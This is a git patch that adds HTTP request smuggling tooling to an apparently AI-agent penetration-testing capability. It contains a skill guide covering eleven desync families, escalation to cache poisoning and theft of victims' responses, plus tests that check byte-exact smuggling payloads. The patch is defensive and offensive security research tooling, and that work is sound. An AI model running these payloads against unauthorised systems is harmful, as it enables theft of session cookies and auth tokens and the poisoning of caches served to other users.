From 7bb06b517df17b844f48d3396e86c79a4f512e0a Mon Sep 17 00:00:00 2001 From: GangGreenTemperTatum <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 20 Aug 2026 11:27:49 -0400 Subject: [PATCH] feat(web-security): add HTTP desync tooling and smuggling skill MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Ports the http-desync-smuggling research (11 confirmed mechanism families from PortSwigger's HTTP Terminator) into the capability as a Dreadnode toolset plus a companion skill. tools/desync.py — DesyncTools with four tools: desync_fingerprint which body-framing primitives the stack accepts (Server/CDN, TE chunked/identity/gzip, duplicate Content-Length, CL on bodyless GET). Seven probes run concurrently; a failed probe omits its field rather than aborting the fingerprint. desync_build_payload byte-exact raw HTTP/1.1 for 11 families. Content- Length and chunk sizes are computed from the real byte count, which is the bug agents hit when hand-writing these. desync_probe_cache cache-layer detection plus cache-key membership, which decides whether a confirmed desync escalates to cache poisoning. desync_analyze_responses classify victim-response-theft captures (session cookies, JWT, bearer, CSRF, PII) into a severity. Values are redacted; full secrets never returned. Changes from the source script: async with concurrent probes rather than sequential blocking calls with sleeps; uniform null-omitted dict returns instead of mixed dataclass/str; payload construction added (the source had none — payloads were hand-written in the skill prose); proxy is a per-call arg instead of a hardcoded Caido default, so the agent controls routing. Verified each built payload over a raw TLS socket against a live server: all eleven get a semantic parser response (400 on CL/TE conflict, 501 on unknown TE, 405/200 otherwise) with no resets, confirming wire-correct framing. 97 tests covering payload byte-correctness per family, redaction, severity ordering, and probe behaviour against a mocked transport. Full capability suite: 429 passed. The skill documents the interleaved-victim validation algorithm including the erratic-domain baseline check, which is the step that separates a real desync from the false positives this class is notorious for. --- capabilities/web-security/capability.yaml | 10 +- .../skills/http-desync-smuggling/SKILL.md | 168 +++++ .../skills/response-queue-poisoning/SKILL.md | 1 + .../skills/te0-request-smuggling/SKILL.md | 1 + .../web-security/tests/test_desync.py | 511 +++++++++++++ capabilities/web-security/tools/desync.py | 703 ++++++++++++++++++ 6 files changed, 1390 insertions(+), 4 deletions(-) create mode 100644 capabilities/web-security/skills/http-desync-smuggling/SKILL.md create mode 100644 capabilities/web-security/tests/test_desync.py create mode 100644 capabilities/web-security/tools/desync.py diff --git a/capabilities/web-security/capability.yaml b/capabilities/web-security/capability.yaml index 1ec14b5..ae06ca6 100644 --- a/capabilities/web-security/capability.yaml +++ b/capabilities/web-security/capability.yaml @@ -1,9 +1,9 @@ schema: 1 name: web-security -version: "1.9.0" +version: "1.10.0" description: > Web application penetration testing with 80+ attack technique playbooks - covering request smuggling, cache poisoning, SSRF, SSTI, DOM + covering HTTP desync/request smuggling, cache poisoning, SSRF, SSTI, DOM vulnerabilities, authentication bypasses, parser differentials, AEM/Sling exploitation, GraphQL, OAuth, and client-side attacks. Includes HTTP client tooling with OOB callbacks via webhook.site @@ -14,8 +14,9 @@ description: > integration via MCP, browser automation via agent-browser, JS static analysis via jxscout, AST-based code pattern search via ast-grep, protobuf inspection via - protoscope, credential management, DNS rebinding, blind SQLi - extraction, bug bounty scope lookup via bbscope, HackerOne program + protoscope, credential management, DNS rebinding, HTTP desync + fingerprinting with byte-exact smuggling payload construction, blind + SQLi extraction, bug bounty scope lookup via bbscope, HackerOne program recon and report submission, SecurityContext vulnerability context from GitHub repos, issue tracking via Jira/GitHub/Linear, AWS exploitation with Pacu, phone verification, vulnerability @@ -199,6 +200,7 @@ keywords: - web-security - penetration-testing - request-smuggling + - http-desync - cache-poisoning - dns-rebinding - dom-security diff --git a/capabilities/web-security/skills/http-desync-smuggling/SKILL.md b/capabilities/web-security/skills/http-desync-smuggling/SKILL.md new file mode 100644 index 0000000..f03630a --- /dev/null +++ b/capabilities/web-security/skills/http-desync-smuggling/SKILL.md @@ -0,0 +1,168 @@ +--- +name: http-desync-smuggling +description: HTTP request smuggling via body framing disagreements — CL.TE, TE.CL, CL.0, TE obfuscation, duplicate Content-Length, multipart/byteranges confusion, bodyless-method CL, H2-to-H1 downgrade, and escalation to cache poisoning or victim response theft. Covers 11 confirmed mechanism families from production research. Use when testing for request smuggling, body framing confusion, or desync between a proxy and its backend. +--- + +# HTTP Request Smuggling — Body Framing Desync + +Request smuggling exploits a disagreement between a front-end (proxy/CDN/WAF) and a back-end (origin) about where one HTTP request ends and the next begins. The attacker's body bleeds into the next request on the shared connection. + +This skill covers **body framing disagreements** — Content-Length vs Transfer-Encoding conflicts, CL.0, TE obfuscation, duplicate CL, H2 downgrade injection. For CRLF-in-URL-path desync use `response-queue-poisoning`; for TE.0 specifically use `te0-request-smuggling`. + +## Tools + +| Tool | Use | +|------|-----| +| `desync_fingerprint(host, proxy)` | Which framing primitives the stack accepts — run this first, it eliminates most families | +| `desync_build_payload(family, host, path, method)` | Byte-exact raw request for one family; Content-Length and chunk sizes are computed for you | +| `desync_probe_cache(host, path, proxy)` | Cache layer detection + which headers are in the cache key | +| `desync_analyze_responses(responses, host)` | Classify stolen victim responses and assign severity | + +Pass `proxy="http://127.0.0.1:8080"` to route probes through Caido. + +**Never send a built payload through an HTTP client library.** `execute_http`, curl, requests, and httpx all normalise headers, deduplicate Content-Length, and recompute chunk framing — exactly the properties the attack depends on. Send the raw bytes over a socket, or via Caido/Burp repeater. + +## Prerequisites + +- A front-end/back-end split — check `Server`, `Via`, `X-Forwarded-For`, `X-Cache` +- Persistent connections between the two (default for most proxies) + +## Phase 1: Fingerprint + +``` +desync_fingerprint("target.com", proxy="http://127.0.0.1:8080") +``` + +Read the result as a technique filter, not a summary: + +| Field | Meaning | +|-------|---------| +| `te_chunked: false` | Server rejects chunked — families 7, 8, 10 are dead | +| `te_gzip: true` | Non-chunked TE accepted — family 6 is live | +| `duplicate_cl: accept` | Conflicting Content-Length survives — family 3 is live | +| `bodyless_cl: accept` | CL on GET is honoured — family 4 is live | +| `cdn` present | A cache exists — plan the Phase 4 escalation now | +| `server` vs `error_page_sig` disagree | Two distinct layers, i.e. a real desync surface | + +If `server` and `error_page_sig` name the same product and no CDN is present, you may be talking to a single hop. Confirm a second layer exists before burning budget on payloads. + +## Phase 2: Technique Selection + +The 11 confirmed mechanism families, ordered by how many distinct production servers each was confirmed against. Higher count = try first. + +| # | `family` | Confirmed | Mechanism | +|---|----------|-----------|-----------| +| 1 | `byteranges` | 20 | `multipart/byteranges` boundary read as a body terminator instead of CL | +| 2 | `cl-whitespace` | 14 | Whitespace/tab/obs-fold around `Content-Length` — one parser sees it, the other doesn't | +| 3 | `cl-duplicate` | 8 | Two conflicting `Content-Length` values; first-wins vs last-wins | +| 4 | `cl-bodyless` | 7 | `Content-Length` on GET/HEAD/DELETE — proxy drops the body, origin reads it | +| 5 | `connect-cl` | 5 | `CONNECT` with `Content-Length` creates a pseudo-body on keep-alive | +| 6 | `te-gzip` | 3 | `Transfer-Encoding: gzip` — "any TE means chunked" vs "unknown TE means ignore" | +| 7 | `cl.te` | 2 | Front-end uses CL, back-end uses chunked | +| 8 | `te.cl` | 2 | Front-end uses chunked, back-end uses CL | +| 9 | `expect-dup` | 3 | Duplicated `Expect: 100-continue` desyncs whether a layer waits for the body | +| 10 | `te-obfuscated` | 2 | Bogus second `Transfer-Encoding` so one layer falls back to CL | +| 11 | H2-to-H1 downgrade | 1 | See below — not a `desync_build_payload` family | + +Build each with: + +``` +desync_build_payload("byteranges", "target.com", path="/admin") +``` + +`path` is the endpoint you want the *victim* to be forced onto. Pick something whose response is unmistakable — an admin panel, a 302, a distinctive error — so a poisoned victim response is unambiguous. + +### Family 11: H2-to-H1 downgrade + +Not buildable as raw H1 bytes; it needs an HTTP/2 client that permits illegal header values. When the front-end speaks H2 and downgrades to H1 for the origin: + +- Inject `Transfer-Encoding: chunked` via an H2 header — some proxies don't strip it on downgrade +- Inject a `Content-Length` that conflicts with H2's `content-length` pseudo-header +- Embed `\r\n` inside an H2 header **value** — H2 binary framing permits bytes that become new headers in H1 +- Use a header **name** containing a space, which survives some downgrade paths + +If your H2 client rejects these, that is the client normalising, not the target refusing. Use Burp's HTTP Request Smuggler or a raw h2 frame writer. When a WAF blocks the H1 form of a payload, load `h2-waf-bypass`. + +## Phase 3: Validation — The Interleaved Victim Check + +A desync is only confirmed when the smuggled request affects a **different connection's** response. Your own response changing proves nothing. + +1. **Canary the payload.** Set `path="/wrtzllsk-"`. If that string appears in a victim response or a server log echo, you have definitive request bleed — stop, that alone is the finding. +2. **Interleave.** On the same connection send Attack, Victim, Attack, Victim. Victim requests are clean baselines. +3. **Erratic-domain check.** Send 20 baseline-only requests first. If status codes already vary without any attack, the domain is inherently inconsistent and any later anomaly is noise. Do not report. +4. **Correlate.** Run 5 cycles of (attack burst -> 12s pause -> clean burst). An anomaly appearing in clean bursts is time-correlated noise. An anomaly only in attack bursts, in 3+ of 5 cycles, is confirmed. + +Step 3 is the one agents skip, and it is the single largest source of false-positive smuggling reports. Run it before escalating. + +Record the outcome with `assess_confidence` — `poc_confirmed` requires a canary hit or a reproduced victim-response anomaly, not a suggestive status code. + +## Phase 4: Escalation + +A confirmed desync alone is typically medium. Escalate before reporting. + +### Cache poisoning (medium -> critical) + +``` +desync_probe_cache("target.com", path="/") +``` + +`unkeyed_headers` is the payload: a header the origin reflects but the cache ignores is a stored-XSS primitive at CDN scale. + +1. Trigger the desync with a smuggled request that serves attacker-controlled content +2. Wait ~2s for connection drainage +3. Send a clean GET from a **new** connection to the same path +4. Attacker content in that clean response = cache poisoned +5. Measure TTL by repeating step 3 at 5s intervals; cross-check against `ttl_seconds` + +Chain into `web-cache-deception-path` or `nextjs-cache-poisoning` for framework-specific persistence. + +### Victim response theft (VRT) + +``` +desync_build_payload("vrt", "target.com", path="/") +``` + +The smuggled request declares `Content-Length: 300`, which absorbs the next victim's request headers as its body. If the endpoint reflects the body, the victim's cookies and auth headers come back to you. + +Then classify what you captured: + +``` +desync_analyze_responses([{"status": 200, "headers": {...}, "body": "..."}], host="target.com") +``` + +Returns severity — critical (session cookie / JWT / bearer), high (CSRF token), medium (PII) — with every value redacted. Report the severity and category; never paste a live victim token into a report. + +## Permutation Strategy + +A failed technique is a data point, not a verdict. Before abandoning a family, permute: + +| Mutation | Yield | Why | +|----------|-------|-----| +| Change method (`method="GET"/"HEAD"/"OPTIONS"`) | High | Different methods take different parser paths | +| Merge headers from a family that *did* get an anomalous response | High | Confirmed donors transplant well | +| Change the smuggled `path` | High | The prefix itself changes detectability | +| Add `Expect: 100-continue` | Medium | The 100-continue flow can reset a parser | +| Add `Max-Forwards: 0` | Medium | Forces the proxy to answer locally | +| Downgrade to HTTP/1.0 | Medium | Different keep-alive and CL semantics | +| Upgrade to HTTP/2 | Medium | Exercises the downgrade path | +| Shuffle header order | Medium | First-wins vs last-wins parsers diverge | + +For `cl-whitespace`, the four variants worth trying in order: leading space, space before colon, tab before colon, leading tab. For `te-obfuscated`: `xchunked`, `Transfer-Encoding : chunked`, tab before the value, trailing NUL, and `X: x\nTransfer-Encoding: chunked`. + +## Chain With + +- `response-queue-poisoning` — CRLF-based desync; different injection vector, same exploitation +- `te0-request-smuggling` — TE.0 variant where the back-end ignores TE entirely +- `h2-waf-bypass` — when a WAF blocks the H1 payload but H2 framing gets through +- `h2c-websocket-smuggling` — h2c upgrade as an alternative tunnel +- `parser-differential-bypass` — the general case when framing-specific families all fail +- `web-cache-deception-path`, `nextjs-cache-poisoning` — persistence after a cache hit +- `caido-mode` / `burp-suite` — raw socket delivery for the built payloads + +## Reference + +- Kettle, "HTTP Desync Attacks" (2019) — CL.TE, TE.CL, TE obfuscation +- Kettle, "HTTP/2: The Sequel is Always Worse" (2021) — H2 downgrade smuggling +- Kettle, "Browser-Powered Desync Attacks" (2022) — CL.0, pause-based desync +- Kettle, "Breaking the Chains on HTTP Request Smuggler" — permutation and validation methodology +- PortSwigger HTTP Terminator — 11 mechanism families, 66 confirmed techniques, interleaved-victim validation diff --git a/capabilities/web-security/skills/response-queue-poisoning/SKILL.md b/capabilities/web-security/skills/response-queue-poisoning/SKILL.md index 908c996..63d9a16 100644 --- a/capabilities/web-security/skills/response-queue-poisoning/SKILL.md +++ b/capabilities/web-security/skills/response-queue-poisoning/SKILL.md @@ -130,6 +130,7 @@ Nuclei templates from `turtlesec-software/crlf-desyncs` cover all probes above. ## Chain With +- `http-desync-smuggling` — body-framing desync (CL vs TE) when no CRLF injection point exists - `crlf-response-splitting` — response header CRLF → XSS via nested splitting - `web-cache-deception-path` — cache the poisoned/tunnelled response for persistent impact - `parser-differential-bypass` — proxy normalizes `%0d%0a` differently than origin diff --git a/capabilities/web-security/skills/te0-request-smuggling/SKILL.md b/capabilities/web-security/skills/te0-request-smuggling/SKILL.md index 79bf650..faa7b01 100644 --- a/capabilities/web-security/skills/te0-request-smuggling/SKILL.md +++ b/capabilities/web-security/skills/te0-request-smuggling/SKILL.md @@ -40,6 +40,7 @@ X-Ignore: x - Timing: second request arrives faster than expected (already queued) ## Chain With +- http-desync-smuggling (CL.TE/TE.CL and 9 other body-framing families, plus `desync_fingerprint` to check what the stack accepts before probing TE.0) - web-cache-deception-path (poison cache via smuggled request) ## Reference diff --git a/capabilities/web-security/tests/test_desync.py b/capabilities/web-security/tests/test_desync.py new file mode 100644 index 0000000..c0a3f64 --- /dev/null +++ b/capabilities/web-security/tests/test_desync.py @@ -0,0 +1,511 @@ +"""Tests for the HTTP desync reconnaissance and payload construction tools.""" + +from __future__ import annotations + +import importlib.util +from pathlib import Path +from typing import Any + +import httpx +import pytest + +MODULE_PATH = Path(__file__).resolve().parent.parent / "tools" / "desync.py" +SPEC = importlib.util.spec_from_file_location("desync", MODULE_PATH) +assert SPEC and SPEC.loader +MODULE = importlib.util.module_from_spec(SPEC) +SPEC.loader.exec_module(MODULE) + +DesyncTools = MODULE.DesyncTools +build_payload = MODULE.build_payload +analyze_responses = MODULE.analyze_responses + +FAMILIES = ( + "byteranges", + "cl-whitespace", + "cl-duplicate", + "cl-bodyless", + "connect-cl", + "te-gzip", + "cl.te", + "te.cl", + "expect-dup", + "te-obfuscated", + "vrt", +) + + +@pytest.fixture +def toolset() -> DesyncTools: + return DesyncTools() + + +def _mock_client(handler) -> Any: + """Patch MODULE._client so probes hit an in-process MockTransport.""" + + def factory(proxy: str, timeout: float = 10.0) -> httpx.AsyncClient: + return httpx.AsyncClient( + transport=httpx.MockTransport(handler), follow_redirects=True + ) + + return factory + + +# --------------------------------------------------------------------------- +# Discovery / contract +# --------------------------------------------------------------------------- + + +class TestToolDiscovery: + def test_is_toolset(self) -> None: + from dreadnode.agents.tools import Toolset + + assert issubclass(DesyncTools, Toolset) + + def test_tool_methods_registered(self, toolset: DesyncTools) -> None: + assert {t.name for t in toolset.get_tools()} == { + "desync_fingerprint", + "desync_probe_cache", + "desync_build_payload", + "desync_analyze_responses", + } + + def test_every_tool_has_a_description(self, toolset: DesyncTools) -> None: + assert all(t.description.strip() for t in toolset.get_tools()) + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +class TestHelpers: + @pytest.mark.parametrize( + ("raw", "expected"), + [ + ("target.com", "https://target.com"), + ("https://target.com/", "https://target.com"), + ("http://target.com:8080/", "http://target.com:8080"), + (" target.com ", "https://target.com"), + ], + ) + def test_base_url_normalisation(self, raw: str, expected: str) -> None: + assert MODULE._base_url(raw) == expected + + def test_compact_drops_empty_keeps_falsy_signals(self) -> None: + result = MODULE._compact( + {"a": None, "b": "", "c": [], "d": 0, "e": False, "f": "x"} + ) + assert result == {"d": 0, "e": False, "f": "x"} + + @pytest.mark.parametrize( + ("value", "expected"), + [ + ("a" * 20, "aaaaaaaa...aaaa"), + ("abcdef", "ab..."), + ("abcd", "***"), + ("", "***"), + ], + ) + def test_redact(self, value: str, expected: str) -> None: + assert MODULE._redact(value) == expected + + def test_redact_never_leaks_middle_of_long_secret(self) -> None: + secret = "SUPERSECRETSESSIONVALUE123456" + assert secret[10:20] not in MODULE._redact(secret) + + @pytest.mark.parametrize( + ("header", "expected"), + [ + ("max-age=600", 600), + ("public, max-age=30, must-revalidate", 30), + ("s-maxage=90", None), + ("s-max-age=90", 90), + ("no-store", None), + (None, None), + ("max-age=abc", None), + ], + ) + def test_parse_max_age(self, header: str | None, expected: int | None) -> None: + assert MODULE._parse_max_age(header) == expected + + +# --------------------------------------------------------------------------- +# Payload construction — the correctness-critical surface +# --------------------------------------------------------------------------- + + +def _split(raw: str) -> tuple[list[str], str]: + head, _, body = raw.partition("\r\n\r\n") + return head.split("\r\n"), body + + +def _header(lines: list[str], name: str) -> str | None: + for line in lines: + key, _, value = line.partition(":") + if key.strip().lower() == name: + return value.strip() + return None + + +class TestBuildPayload: + @pytest.mark.parametrize("family", FAMILIES) + def test_every_family_builds(self, family: str) -> None: + result = build_payload(family, "target.com") + assert result["family"] == family + assert result["note"] + assert result["byte_length"] == len(result["raw_request"].encode()) + + @pytest.mark.parametrize("family", FAMILIES) + def test_uses_crlf_line_endings_only(self, family: str) -> None: + raw = build_payload(family, "target.com")["raw_request"] + assert "\n" not in raw.replace("\r\n", "") + + @pytest.mark.parametrize("family", FAMILIES) + def test_has_request_line_host_and_header_terminator(self, family: str) -> None: + raw = build_payload(family, "target.com")["raw_request"] + lines, _ = _split(raw) + assert lines[0].endswith(" HTTP/1.1") + assert _header(lines, "host") == "target.com" + assert "\r\n\r\n" in raw + + @pytest.mark.parametrize("family", ["byteranges", "cl.te", "te-obfuscated", "vrt"]) + def test_content_length_matches_actual_body_bytes(self, family: str) -> None: + lines, body = _split(build_payload(family, "target.com")["raw_request"]) + assert int(_header(lines, "content-length")) == len(body.encode()) + + def test_te_cl_declares_short_content_length(self) -> None: + """TE.CL depends on CL being shorter than the chunked body.""" + lines, body = _split(build_payload("te.cl", "target.com")["raw_request"]) + assert int(_header(lines, "content-length")) < len(body.encode()) + + def test_te_cl_chunk_size_is_hex_and_matches_prefix(self) -> None: + _, body = _split(build_payload("te.cl", "target.com")["raw_request"]) + size_line, _, rest = body.partition("\r\n") + prefix = rest.split("\r\n0\r\n")[0] + assert int(size_line, 16) == len(prefix.encode()) + + def test_cl_te_terminates_chunked_stream_before_prefix(self) -> None: + _, body = _split(build_payload("cl.te", "target.com")["raw_request"]) + assert body.startswith("0\r\n\r\nGET /admin") + + def test_cl_whitespace_keeps_obfuscated_header_raw(self) -> None: + raw = build_payload("cl-whitespace", "target.com")["raw_request"] + assert "\r\n Content-Length:" in raw + + def test_cl_duplicate_emits_two_conflicting_lengths(self) -> None: + lines, _ = _split(build_payload("cl-duplicate", "target.com")["raw_request"]) + values = [ + line.split(":")[1].strip() + for line in lines + if line.lower().startswith("content-length") + ] + assert len(values) == 2 + assert values[0] != values[1] + + def test_cl_bodyless_uses_get(self) -> None: + lines, _ = _split( + build_payload("cl-bodyless", "target.com", method="POST")["raw_request"] + ) + assert lines[0].startswith("GET ") + + def test_connect_targets_host_port(self) -> None: + lines, _ = _split(build_payload("connect-cl", "target.com")["raw_request"]) + assert lines[0] == "CONNECT target.com:443 HTTP/1.1" + + def test_expect_dup_emits_two_expect_headers(self) -> None: + lines, _ = _split(build_payload("expect-dup", "target.com")["raw_request"]) + assert sum(line.lower().startswith("expect:") for line in lines) == 2 + + def test_byteranges_boundary_closes_before_smuggled_prefix(self) -> None: + _, body = _split(build_payload("byteranges", "target.com")["raw_request"]) + assert body.index("--SMUGGLE--") < body.index("GET /admin") + + def test_vrt_absorbs_victim_headers_with_oversized_length(self) -> None: + _, body = _split(build_payload("vrt", "target.com")["raw_request"]) + assert "Content-Length: 300" in body + + def test_custom_path_and_method_propagate(self) -> None: + raw = build_payload("cl.te", "target.com", path="/internal/flag", method="PUT")[ + "raw_request" + ] + assert raw.startswith("PUT / HTTP/1.1") + assert "GET /internal/flag HTTP/1.1" in raw + + def test_long_path_still_produces_matching_length(self) -> None: + lines, body = _split( + build_payload("cl.te", "target.com", path="/" + "a" * 500)["raw_request"] + ) + assert int(_header(lines, "content-length")) == len(body.encode()) + + def test_unknown_family_raises_with_valid_options(self) -> None: + with pytest.raises(ValueError, match="Unknown family"): + build_payload("nope", "target.com") + + +# --------------------------------------------------------------------------- +# Stolen-response analysis +# --------------------------------------------------------------------------- + +# Assembled at runtime rather than written inline: a literal three-part JWT in +# the source trips secret scanners even though it is a synthetic fixture. +_JWT = ".".join(["eyJ" + "h" * 12, "e" * 16, "s" * 20]) + + +def _resp(headers: dict[str, Any] | None = None, body: str = "") -> dict[str, Any]: + return {"status": 200, "headers": headers or {}, "body": body} + + +class TestAnalyzeResponses: + def test_empty_input_is_low(self) -> None: + result = analyze_responses([]) + assert result["severity"] == "low" + assert result["total_responses"] == 0 + assert result["unique_victims"] == 0 + + def test_session_cookie_is_critical(self) -> None: + result = analyze_responses( + [_resp({"Set-Cookie": "PHPSESSID=abcdef1234567890; HttpOnly"})] + ) + assert result["severity"] == "critical" + assert "session_token" in result["categories"] + + def test_session_value_is_redacted(self) -> None: + value = "s" * 12 + "MIDDLE" + "e" * 12 + result = analyze_responses([_resp({"Set-Cookie": f"JSESSIONID={value}"})]) + assert value not in str(result) + assert "MIDDLE" not in str(result) + + def test_header_name_matching_is_case_insensitive(self) -> None: + result = analyze_responses( + [_resp({"set-cookie": "connect.sid=aaaaaaaaaaaaaaaa"})] + ) + assert result["severity"] == "critical" + + def test_duplicate_set_cookie_list_is_handled(self) -> None: + result = analyze_responses( + [_resp({"Set-Cookie": ["PHPSESSID=aaaaaaaaaaaaaaaa", "theme=dark"]})] + ) + assert result["unique_victims"] == 1 + + def test_non_session_cookie_is_ignored(self) -> None: + result = analyze_responses([_resp({"Set-Cookie": "theme=dark; Path=/"})]) + assert result["severity"] == "low" + + def test_jwt_in_body_is_critical(self) -> None: + result = analyze_responses([_resp(body=f'{{"token":"{_JWT}"}}')]) + assert result["severity"] == "critical" + assert result["findings"][0]["location"] == "body" + + def test_bearer_token_is_critical(self) -> None: + result = analyze_responses( + [_resp({"Authorization": "Bearer abcdefghijklmnop"})] + ) + assert "bearer_token" in result["categories"] + + def test_csrf_token_is_high(self) -> None: + body = '
' + result = analyze_responses([_resp(body=body)]) + assert result["severity"] == "high" + + def test_pii_is_medium(self) -> None: + result = analyze_responses([_resp(body="Contact: victim@realcorp.io")]) + assert result["severity"] == "medium" + + def test_placeholder_email_domains_are_not_pii(self) -> None: + result = analyze_responses([_resp(body="user@example.com and admin@test.com")]) + assert result["severity"] == "low" + + def test_severity_takes_the_most_severe_category(self) -> None: + result = analyze_responses( + [ + _resp(body="a@realcorp.io"), + _resp({"Set-Cookie": "PHPSESSID=aaaaaaaaaaaaaaaa"}), + ] + ) + assert result["severity"] == "critical" + + def test_unique_victims_counts_distinct_sessions(self) -> None: + result = analyze_responses( + [ + _resp({"Set-Cookie": "PHPSESSID=aaaaaaaaaaaaaaaa"}), + _resp({"Set-Cookie": "PHPSESSID=bbbbbbbbbbbbbbbb"}), + _resp({"Set-Cookie": "PHPSESSID=aaaaaaaaaaaaaaaa"}), + ] + ) + assert result["unique_victims"] == 2 + assert result["total_responses"] == 3 + + def test_pii_reported_once_per_response(self) -> None: + result = analyze_responses([_resp(body="a@x.io b@y.io c@z.io")]) + assert sum(f["category"] == "pii" for f in result["findings"]) == 1 + + def test_host_appears_in_summary_payload(self) -> None: + result = analyze_responses([_resp()], host="target.com") + assert result["host"] == "target.com" + + def test_missing_keys_do_not_raise(self) -> None: + assert analyze_responses([{}])["severity"] == "low" + + +# --------------------------------------------------------------------------- +# Network probes (mocked transport) +# --------------------------------------------------------------------------- + + +@pytest.mark.asyncio +class TestFingerprint: + async def test_reports_stack_and_accepted_framing( + self, toolset: DesyncTools, monkeypatch: pytest.MonkeyPatch + ) -> None: + def handler(request: httpx.Request) -> httpx.Response: + if request.method == "HEAD": + return httpx.Response( + 200, headers={"Server": "nginx/1.24", "CF-RAY": "abc-LHR"} + ) + if request.method == "POST": + encoding = request.headers.get("transfer-encoding", "") + return httpx.Response(200 if encoding == "chunked" else 501) + if "nonexistent" in str(request.url): + return httpx.Response(404, text="
nginx/1.24
") + return httpx.Response(400) # duplicate CL + bodyless CL rejected + + monkeypatch.setattr(MODULE, "_client", _mock_client(handler)) + result = await toolset.desync_fingerprint("target.com") + + assert result["host"] == "https://target.com" + assert result["server"] == "nginx/1.24" + assert result["cdn"] == "cloudflare" + assert result["error_page_sig"] == "nginx" + assert result["te_chunked"] is True + assert result["te_gzip"] is False + assert result["duplicate_cl"] == "reject" + assert result["bodyless_cl"] == "reject" + + async def test_accepting_target_opens_families_three_and_four( + self, toolset: DesyncTools, monkeypatch: pytest.MonkeyPatch + ) -> None: + monkeypatch.setattr( + MODULE, "_client", _mock_client(lambda r: httpx.Response(200)) + ) + result = await toolset.desync_fingerprint("target.com") + assert result["duplicate_cl"] == "accept" + assert result["bodyless_cl"] == "accept" + + async def test_one_failing_probe_does_not_abort_the_rest( + self, toolset: DesyncTools, monkeypatch: pytest.MonkeyPatch + ) -> None: + def handler(request: httpx.Request) -> httpx.Response: + if request.method == "HEAD": + raise httpx.ConnectError("refused") + return httpx.Response(200, headers={"Server": "envoy"}) + + monkeypatch.setattr(MODULE, "_client", _mock_client(handler)) + result = await toolset.desync_fingerprint("target.com") + assert result["te_chunked"] is True + assert "server" not in result # HEAD probe failed, field omitted + + +@pytest.mark.asyncio +class TestProbeCache: + async def test_increasing_age_confirms_cache( + self, toolset: DesyncTools, monkeypatch: pytest.MonkeyPatch + ) -> None: + ages = iter(["1", "5", "9"]) + + def handler(request: httpx.Request) -> httpx.Response: + return httpx.Response( + 200, + headers={ + "Age": next(ages, "9"), + "Cache-Control": "max-age=600", + "X-Varnish": "1 2", + }, + ) + + monkeypatch.setattr(MODULE, "_client", _mock_client(handler)) + result = await toolset.desync_probe_cache("target.com") + + assert result["has_cache"] is True + assert result["ttl_seconds"] == 600 + assert result["cache_type"] == "varnish" + + async def test_no_cache_headers_reports_no_cache( + self, toolset: DesyncTools, monkeypatch: pytest.MonkeyPatch + ) -> None: + monkeypatch.setattr( + MODULE, + "_client", + _mock_client( + lambda r: httpx.Response(200, headers={"Cache-Control": "no-store"}) + ), + ) + result = await toolset.desync_probe_cache("target.com") + assert result["has_cache"] is False + assert "keyed_headers" not in result + + async def test_cf_cache_status_confirms_cache( + self, toolset: DesyncTools, monkeypatch: pytest.MonkeyPatch + ) -> None: + monkeypatch.setattr( + MODULE, + "_client", + _mock_client( + lambda r: httpx.Response(200, headers={"CF-Cache-Status": "HIT"}) + ), + ) + assert (await toolset.desync_probe_cache("target.com"))["has_cache"] is True + + async def test_cache_key_analysis_splits_keyed_and_unkeyed( + self, toolset: DesyncTools, monkeypatch: pytest.MonkeyPatch + ) -> None: + def handler(request: httpx.Request) -> httpx.Response: + # A probe carrying Cookie gets a fresh (Age 0) response -> keyed. + age = "0" if "cookie" in {k.lower() for k in request.headers} else "50" + return httpx.Response(200, headers={"Age": age}) + + monkeypatch.setattr(MODULE, "_client", _mock_client(handler)) + result = await toolset.desync_probe_cache("target.com") + + assert result["keyed_headers"] == ["Cookie"] + assert "User-Agent" in result["unkeyed_headers"] + + async def test_total_failure_returns_error_not_exception( + self, toolset: DesyncTools, monkeypatch: pytest.MonkeyPatch + ) -> None: + def handler(request: httpx.Request) -> httpx.Response: + raise httpx.ConnectError("refused") + + monkeypatch.setattr(MODULE, "_client", _mock_client(handler)) + result = await toolset.desync_probe_cache("target.com") + assert result["has_cache"] is False + assert "error" in result + + async def test_path_is_normalised( + self, toolset: DesyncTools, monkeypatch: pytest.MonkeyPatch + ) -> None: + seen: list[str] = [] + + def handler(request: httpx.Request) -> httpx.Response: + seen.append(request.url.path) + return httpx.Response(200) + + monkeypatch.setattr(MODULE, "_client", _mock_client(handler)) + await toolset.desync_probe_cache("target.com", path="static/app.js") + assert seen[0] == "/static/app.js" + + +@pytest.mark.asyncio +class TestToolWrappers: + async def test_build_payload_tool_returns_raw_request( + self, toolset: DesyncTools + ) -> None: + result = await toolset.desync_build_payload("cl.te", "target.com") + assert result["raw_request"].startswith("POST / HTTP/1.1\r\n") + + async def test_analyze_tool_matches_pure_function( + self, toolset: DesyncTools + ) -> None: + payload = [_resp({"Set-Cookie": "PHPSESSID=aaaaaaaaaaaaaaaa"})] + assert await toolset.desync_analyze_responses(payload) == analyze_responses( + payload + ) diff --git a/capabilities/web-security/tools/desync.py b/capabilities/web-security/tools/desync.py new file mode 100644 index 0000000..77f922c --- /dev/null +++ b/capabilities/web-security/tools/desync.py @@ -0,0 +1,703 @@ +"""HTTP desync (request smuggling) reconnaissance and payload construction. + +Four tools that cover the mechanical work an agent gets wrong by hand when +hunting body-framing desync: + +* ``desync_fingerprint`` — which framing primitives the target stack even + accepts (Server/CDN, Transfer-Encoding values, duplicate Content-Length, + Content-Length on bodyless methods). Probes run concurrently. +* ``desync_probe_cache`` — is there a caching layer, and which headers are in + the cache key. Determines whether a confirmed desync escalates to cache + poisoning. +* ``desync_build_payload`` — byte-exact raw HTTP/1.1 request text for the 11 + confirmed mechanism families. Content-Length and chunk sizes are computed + from the real byte count, which is the single most common hand-crafting bug. +* ``desync_analyze_responses`` — classify responses stolen via victim-response + theft (session tokens, JWTs, bearer creds, CSRF tokens, PII) and assign a + severity. Values are redacted; full secrets are never returned. + +Companion skill: ``http-desync-smuggling``. + +Probes intentionally disable TLS verification: targets under test frequently +present self-signed, expired, or hostname-mismatched certificates, and a +verification failure would mask the framing behaviour being measured. +""" + +from __future__ import annotations + +import asyncio +import re +from typing import Annotated, Any, Literal + +import httpx +from dreadnode.agents.tools import Toolset, tool_method + +# --------------------------------------------------------------------------- +# Constants +# --------------------------------------------------------------------------- + +_UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 